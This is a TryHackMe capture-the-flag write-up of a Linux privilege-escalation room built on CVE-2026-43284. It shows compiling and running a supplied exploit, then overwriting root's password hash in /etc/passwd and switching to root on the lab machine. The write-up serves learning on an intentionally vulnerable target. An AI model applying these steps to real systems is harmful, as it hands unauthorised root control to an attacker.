# TryHackMe — CVE-2026-43284: Dirty Frag

**Room:** [CVE-2026-43284: Dirty Frag](https://tryhackme.com/room/cve202643284)
**Category:** Linux Privilege Escalation
**Author:** *([My Page](https://tryhackme.com/p/RevyHub?tab=completed-rooms))*

## Overview
Dirty Frag is a chained Linux local privilege escalation (LPE) room built around CVE-2026-43284. The goal is to go from an unprivileged shell to root by exploiting a provided proof-of-concept exploit.

## Initial Enumeration
Listing the working directory reveals the files provided for the exploit:
```bash
$ ls
README.txt
exp
exp.c
```
- `exp.c` — the exploit source code
- `exp` — a precompiled binary (may not match the target environment)
- `README.txt` — usage notes provided with the exploit

## Building the Exploit
Since the provided `exp` binary may not be compatible with the target's exact environment, it's safer to rebuild it from source:
```bash
$ gcc -O0 -Wall -o exp exp.c -lutil
```
- `-O0` disables compiler optimizations, keeping behavior predictable and matching the source
- `-Wall` enables compiler warnings, useful for sanity-checking the build
- `-lutil` links `libutil` — commonly required when code uses pseudo-terminal (pty) functions

## Triggering the Vulnerability
```bash
$ ./exp
```
Running the compiled exploit triggers the underlying flaw, resulting in write access to a file that should normally be read-only to unprivileged users — in this case, `/etc/passwd`.

## Escalating to Root
With write access gained, a new password hash for `root` is generated:
```bash
$ openssl passwd -1 root
$1$igIXG8so$6K9OaEbAaj.qaknYx9ST..
```
This hash is written into `/etc/passwd` in place of root's existing hash field:
```bash
$ nano /etc/passwd
```
With root's password now known, switching users is straightforward:
```bash
$ su root
```

## Capturing the Flag
```bash
$ cat /root/flag.txt
THM{REDACTED}
```

## Lessons Learned
- *(This originally took 30+ minutes for general understanding, but once I understood I could repeetively repeat the same exploit multiple times)*
- *(The inner root code is strange, you cant select and use the base controls so instead you use the arrow keys to navigate to root:x: and change X to the hash you created)*

## Mitigations
- Keep kernel/system packages patched and up to date
---
*This writeup documents a completed TryHackMe room for educational purposes. The target environment is an intentionally vulnerable machine provided by TryHackMe.*